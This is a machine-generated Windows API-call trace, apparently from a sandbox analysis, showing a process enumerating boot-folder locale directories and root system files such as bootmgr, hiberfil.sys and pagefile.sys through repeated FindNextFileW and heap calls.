	[0061.654] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0061.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.654] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0061.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.656] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0061.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.657] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0061.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.657] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0061.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.657] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0061.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.658] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0061.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.658] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0061.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.659] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0061.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.660] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0061.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.660] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0061.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.670] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0061.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.671] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0061.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.671] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0061.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.672] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0061.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.673] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0061.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.673] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0061.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.674] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0061.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.675] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0061.675] FindClose (in: hFindFile=0x5e0670 | out: hFindFile=0x5e0670) returned 1
	[0061.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.675] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0061.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.676] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0061.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.676] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0061.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.677] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0061.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.677] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0061.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.677] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0061.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.678] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0061.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.679] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0061.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x547268, Size=0x4000) returned 0x54f860
	[0061.680] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0061.680] FindClose (in: hFindFile=0x5e0870 | out: hFindFile=0x5e0870) returned 1
	[0061.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.680] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0061.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.680] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0061.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.681] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0061.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.681] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0061.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.682] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0061.682] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0061.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c00060 | out: hHeap=0x4f0000) returned 1
	[0061.682] FindNextFileW (in: hFindFile=0x508bd8, lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0061.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c00060 | out: hHeap=0x4f0000) returned 1
	[0061.684] FindNextFileW (in: hFindFile=0x508bd8, lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0061.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c00060 | out: hHeap=0x4f0000) returned 1
	[0061.687] FindNextFileW (in: hFindFile=0x508bd8, lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0062.190] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54f860, Size=0x8000) returned 0x3cb00b8
	[0062.191] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1
	[0062.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c00060 | out: hHeap=0x4f0000) returned 1
	[0062.193] FindNextFileW (in: hFindFile=0x508bd8, lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0062.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c00060 | out: hHeap=0x4f0000) returned 1
